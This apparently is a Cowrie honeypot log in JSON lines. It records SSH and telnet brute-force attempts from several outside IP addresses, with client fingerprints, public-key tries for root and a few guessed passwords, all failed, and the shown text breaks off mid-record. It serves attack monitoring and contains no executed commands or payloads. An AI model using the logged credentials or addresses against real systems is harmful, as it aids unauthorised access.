{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.838059Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.880346Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:ac:f5:b7:cb:7e:50:9d:6c:c4:a7:dd:b6:a8:25:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEbbCckqcVKnPKT9BTtn3HCmtzh1q1841cOx/8sgQUtNeWpcCgpuqUkUd/6gIWK+8cqt6qzEQLgnjUE0oMe25iDunNbRzN0KnWQ3Wq/jo6lnmUY4IHxTstN3mLQ22ELtFxhxusg5srPmHu11SjSdauyHCW7Va8DK5u+eViGDgB59EUG+WY9fLb4QqEuOax12NUCRvN1URQ5wQoYHYM5AZaKsLnzhBxlJqCNY3ZUqqRwhaRAGEIMjw1C9b9t6kTKcqDok/7meTUwul+6wpMDfk6jkw0uSKDQ1w2iXCqRNuZfqJ4vG6qb0xH5IyLvt/QIEXkSzx8E7SbIAHW7V2su1OF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:ac:f5:b7:cb:7e:50:9d:6c:c4:a7:dd:b6:a8:25:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.966861Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:ac:f5:b7:cb:7e:50:9d:6c:c4:a7:dd:b6:a8:25:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEbbCckqcVKnPKT9BTtn3HCmtzh1q1841cOx/8sgQUtNeWpcCgpuqUkUd/6gIWK+8cqt6qzEQLgnjUE0oMe25iDunNbRzN0KnWQ3Wq/jo6lnmUY4IHxTstN3mLQ22ELtFxhxusg5srPmHu11SjSdauyHCW7Va8DK5u+eViGDgB59EUG+WY9fLb4QqEuOax12NUCRvN1URQ5wQoYHYM5AZaKsLnzhBxlJqCNY3ZUqqRwhaRAGEIMjw1C9b9t6kTKcqDok/7meTUwul+6wpMDfk6jkw0uSKDQ1w2iXCqRNuZfqJ4vG6qb0xH5IyLvt/QIEXkSzx8E7SbIAHW7V2su1OF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.970279Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZegb30m9Qa1QmFVdSwuFL+OFp/vc7yAGyCahEu9czmNpYThCc9+KLkXoC3oh0Y1h3ClMpfKKkQDLI5vrLpK+cbBtpHRl0E8SlFpuOxoTLfNrRH9xG8TAJaZ9F4tstoepfWBEcErNchYbRomxByf/Pz0sB5Gz0+8DAaNoFApZNw66LdyLFFg9QQMpQhQlpWvASOFA6MOoSj0W42jMegyzHlTmUJ0ZRbg69LjfWACpjKgmVT/12WvzQrDocn/wEJEP3J5kPuAvBRQY1zOA7MQOJEmshiJeWpKKneSp8K2kvkeL/R+36GFq5qFmP1vUZn5KBv8pNsp56fAIe7LNYeH0+6BQXZwKJwofE2ZEErkiEUgW2AiA66/JXe0u+bbabj9HmYB3xpAu4rhNDVLaAUeIN6ZcpKnPkMPAOh07PCkOR54F2eztyw86WUSme8BUGxVj3u6VlgMXqxjeF2J9j57xD41bdQGP1jWBQbs+wOod4VTXwTp9n43k7lkvARHSEGkihG4ip+iwm1cHVt3dKx8AY9F93IxlsIsSn8XM0mfSLIVAgDefAofzUAZaGBl4oYH6CpZ7XU3K4VYEPtbw9NvUK+b/qwlOOkoEYmrmGNrlOmSuOFPP11FosRr/8xVz2Y8w+aPiny5Cfmk0w7px+dR/zrIl7G+yPWYO+lbA55aemuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.991489Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:4f:79:92:b0:d6:86:47:44:6f:98:f8:3b:b8:65:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZegb30m9Qa1QmFVdSwuFL+OFp/vc7yAGyCahEu9czmNpYThCc9+KLkXoC3oh0Y1h3ClMpfKKkQDLI5vrLpK+cbBtpHRl0E8SlFpuOxoTLfNrRH9xG8TAJaZ9F4tstoepfWBEcErNchYbRomxByf/Pz0sB5Gz0+8DAaNoFApZNw66LdyLFFg9QQMpQhQlpWvASOFA6MOoSj0W42jMegyzHlTmUJ0ZRbg69LjfWACpjKgmVT/12WvzQrDocn/wEJEP3J5kPuAvBRQY1zOA7MQOJEmshiJeWpKKneSp8K2kvkeL/R+36GFq5qFmP1vUZn5KBv8pNsp56fAIe7LNYeH0+6BQXZwKJwofE2ZEErkiEUgW2AiA66/JXe0u+bbabj9HmYB3xpAu4rhNDVLaAUeIN6ZcpKnPkMPAOh07PCkOR54F2eztyw86WUSme8BUGxVj3u6VlgMXqxjeF2J9j57xD41bdQGP1jWBQbs+wOod4VTXwTp9n43k7lkvARHSEGkihG4ip+iwm1cHVt3dKx8AY9F93IxlsIsSn8XM0mfSLIVAgDefAofzUAZaGBl4oYH6CpZ7XU3K4VYEPtbw9NvUK+b/qwlOOkoEYmrmGNrlOmSuOFPP11FosRr/8xVz2Y8w+aPiny5Cfmk0w7px+dR/zrIl7G+yPWYO+lbA55aemuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:40.996847Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDofEMBS5SBa8cjFhkVqc+sTI6qkDZutM8YxjQxWdgux/I3GMbianT67rRrgl8acTU1ORWkmXATJOfuFCs4o2WXQG/6KQTATn/JvBieOCFiV6pvivoZ0o6nFiraZqUSjkShI/IBZqRzqFkKTn1yNxIyatbg6pZLUxe5s9pO7dYdwM4+sZd7B6TP/JiO5Vl94L9+etxf7h4Ab5YHt9msx7+KCGSp7+GPqPBG/pr1ouGOFVFPFGHvt8IttpShFK+7Xef+Yc30ZwejG6upOyXeI6x8qE9PCpeq61FjXNM6bMNeqouBoVQgsS8byFqQ/sZkhct74rjXcjS+UfduVfLRsUmHCw+sXpSJVutwR++gsURXDO2pBCQ9Gn2oJDtAqoLOOOmgOl5uZcUf2XeSQ5PO7J6Z10FbT6PrKRuFYv/yRAVA9WMvm09CQAV6yh1fzF/L0QoQATfVWUoHO4W8RNKuEuD69TcVV1eYTXGgbITxIZ+Lso83yTdJoTVPXTgeCkKBhzTA/cUhWzcBJgoEQdp+07u1H20ckbDovL6rH8ffaj7exUFNrkCkV3+xAtVhPeiLHHEy9ELZV9but8q5+KvcVE2sqpJH+ARrEi3UmMUHX3bNblJ7ezLxUhUiF1t5geuevYlt2sq5V3e9SI0Wn0cI0mGJjbvPnhwTU2ecMfN0uQeZjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.029032Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDofEMBS5SBa8cjFhkVqc+sTI6qkDZutM8YxjQxWdgux/I3GMbianT67rRrgl8acTU1ORWkmXATJOfuFCs4o2WXQG/6KQTATn/JvBieOCFiV6pvivoZ0o6nFiraZqUSjkShI/IBZqRzqFkKTn1yNxIyatbg6pZLUxe5s9pO7dYdwM4+sZd7B6TP/JiO5Vl94L9+etxf7h4Ab5YHt9msx7+KCGSp7+GPqPBG/pr1ouGOFVFPFGHvt8IttpShFK+7Xef+Yc30ZwejG6upOyXeI6x8qE9PCpeq61FjXNM6bMNeqouBoVQgsS8byFqQ/sZkhct74rjXcjS+UfduVfLRsUmHCw+sXpSJVutwR++gsURXDO2pBCQ9Gn2oJDtAqoLOOOmgOl5uZcUf2XeSQ5PO7J6Z10FbT6PrKRuFYv/yRAVA9WMvm09CQAV6yh1fzF/L0QoQATfVWUoHO4W8RNKuEuD69TcVV1eYTXGgbITxIZ+Lso83yTdJoTVPXTgeCkKBhzTA/cUhWzcBJgoEQdp+07u1H20ckbDovL6rH8ffaj7exUFNrkCkV3+xAtVhPeiLHHEy9ELZV9but8q5+KvcVE2sqpJH+ARrEi3UmMUHX3bNblJ7ezLxUhUiF1t5geuevYlt2sq5V3e9SI0Wn0cI0mGJjbvPnhwTU2ecMfN0uQeZjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.033587Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:b4:37:ad:0e:d6:44:8f:46:2b:15:40:5b:32:25:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXtJWzE7kbHmO4Bkq4eo/sP7RnHIPpiUcllCp5P3csqlJTGfKDxYJzPbBaTGYrccVHcZ3cpqhd7fHjrqdOdmvpTrrZsNYJX61ZbCQqP5oI94tIaWvJ4Kg9SxATIF/gBWjD6WpYcM0KzhUrB4TMdmBVNSAhXMGA0zGfrDjxyiopju/U7usurPHIUAiqW/6j+9xFfIExrL7ShiXdQkd1Of9G0QgztM8zx9gemoSZrlS0bWd4I0/8Wx24sIUZP1WArBpfer2MEPEV5KW+K4AgjsHuDc/oCMRjU8ea5tOi31K08oh1DZTvXgjZGKWnhevfgAv8nRq63ABcSwzN0cqu7g1gubPR1CquvDnKnEusMAJ5PsFJeL676RypsdMSohaFX6IOuNLxmK+SWXW1EdRaeKxVMZt7HE0d1Z96v9P0ZXtslPtlkMhp9QKS9wanHcV4HxpbkyivOzn0hRmCNsfYW6J9vSkELZr6AJnSJyNqtb0qb/fnw3I9o2fGSBferJJcXmJDK3J0hhfTVZYg6xVojkxAFM3nAWNUjMwAIF1saW1Wbhg/x5TdwL330U7moL4teKsW2igLXViYtGdb3Xze456WmLzXW8VPIXzFoNPW0NVSOmZLZa+VfGLaeVJgnYmk7MNlMLgAD2xWRBUbLTEE4XyeXuWY64CTht7YKPvNYPGzGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:b4:37:ad:0e:d6:44:8f:46:2b:15:40:5b:32:25:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.058286Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:b4:37:ad:0e:d6:44:8f:46:2b:15:40:5b:32:25:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXtJWzE7kbHmO4Bkq4eo/sP7RnHIPpiUcllCp5P3csqlJTGfKDxYJzPbBaTGYrccVHcZ3cpqhd7fHjrqdOdmvpTrrZsNYJX61ZbCQqP5oI94tIaWvJ4Kg9SxATIF/gBWjD6WpYcM0KzhUrB4TMdmBVNSAhXMGA0zGfrDjxyiopju/U7usurPHIUAiqW/6j+9xFfIExrL7ShiXdQkd1Of9G0QgztM8zx9gemoSZrlS0bWd4I0/8Wx24sIUZP1WArBpfer2MEPEV5KW+K4AgjsHuDc/oCMRjU8ea5tOi31K08oh1DZTvXgjZGKWnhevfgAv8nRq63ABcSwzN0cqu7g1gubPR1CquvDnKnEusMAJ5PsFJeL676RypsdMSohaFX6IOuNLxmK+SWXW1EdRaeKxVMZt7HE0d1Z96v9P0ZXtslPtlkMhp9QKS9wanHcV4HxpbkyivOzn0hRmCNsfYW6J9vSkELZr6AJnSJyNqtb0qb/fnw3I9o2fGSBferJJcXmJDK3J0hhfTVZYg6xVojkxAFM3nAWNUjMwAIF1saW1Wbhg/x5TdwL330U7moL4teKsW2igLXViYtGdb3Xze456WmLzXW8VPIXzFoNPW0NVSOmZLZa+VfGLaeVJgnYmk7MNlMLgAD2xWRBUbLTEE4XyeXuWY64CTht7YKPvNYPGzGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.062838Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:af:74:6e:aa:bb:59:ec:a3:70:0c:04:08:4c:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrHCs1BzrLvZy0pfKgDKNyOrID4+s/tAt/8GEt0c4JivH68KMjYxPWTU+SScbqKA5sAzzaB7Kucb2/oJQjmGe2/sXgRRU2xLbJWFwsel67EBvLltUFyIRGhDcim+Niry3NM2VpyoL4BxvUNcbSZvpH28VgU3EkHnDaYJXF7qykAE4iung6UT/sN1vJKw4MsqD9v1MYyN5n1S+oax72ZdWDHPafctiNHnhUvE6xNdI0UHAJ+kotd4jAIvEQ9bV8Avp+cvHrAGlY7uaTc45DwxK+dKLD3zXTi1cEKIr7QNkDZV5sqL0rAls1E6fF2U8Yv6XxQRpb6PXTBf7RoPpmQgrr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:af:74:6e:aa:bb:59:ec:a3:70:0c:04:08:4c:a3:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.092942Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:af:74:6e:aa:bb:59:ec:a3:70:0c:04:08:4c:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrHCs1BzrLvZy0pfKgDKNyOrID4+s/tAt/8GEt0c4JivH68KMjYxPWTU+SScbqKA5sAzzaB7Kucb2/oJQjmGe2/sXgRRU2xLbJWFwsel67EBvLltUFyIRGhDcim+Niry3NM2VpyoL4BxvUNcbSZvpH28VgU3EkHnDaYJXF7qykAE4iung6UT/sN1vJKw4MsqD9v1MYyN5n1S+oax72ZdWDHPafctiNHnhUvE6xNdI0UHAJ+kotd4jAIvEQ9bV8Avp+cvHrAGlY7uaTc45DwxK+dKLD3zXTi1cEKIr7QNkDZV5sqL0rAls1E6fF2U8Yv6XxQRpb6PXTBf7RoPpmQgrr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.097118Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:41.121086Z","src_ip":"107.172.88.206","session":"f3231a73d05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44954,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbf46647292","protocol":"ssh","message":"New connection: 103.149.28.157:44954 (10.17.0.5:22) [session: 6dbf46647292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:42.611175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:42.617460Z","src_ip":"103.149.28.157","session":"6dbf46647292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:42.874718Z","src_ip":"103.149.28.157","session":"6dbf46647292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bnv1976","message":"login attempt [root/bnv1976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:43.649894Z","src_ip":"103.149.28.157","session":"6dbf46647292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:44.910025Z","src_ip":"103.149.28.157","session":"6dbf46647292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b617b8abd1d","protocol":"telnet","message":"New connection: 135.148.14.151:50380 (159.203.135.109:23) [session: 1b617b8abd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:51.181667Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":52104,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a245676cf09","protocol":"ssh","message":"New connection: 129.226.4.94:52104 (159.203.135.109:22) [session: 9a245676cf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:56.171801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:56.177081Z","src_ip":"129.226.4.94","session":"9a245676cf09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:56.421713Z","src_ip":"129.226.4.94","session":"9a245676cf09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:57.410443Z","src_ip":"129.226.4.94","session":"9a245676cf09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:57:58.653293Z","src_ip":"129.226.4.94","session":"9a245676cf09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.160486698150635,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:27.341997Z","src_ip":"135.148.14.151","session":"1b617b8abd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3170,"dst_ip":"10.17.0.5","dst_port":22,"session":"03145e2d5b28","protocol":"ssh","message":"New connection: 87.251.64.176:3170 (10.17.0.5:22) [session: 03145e2d5b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.301081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.306302Z","src_ip":"87.251.64.176","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"S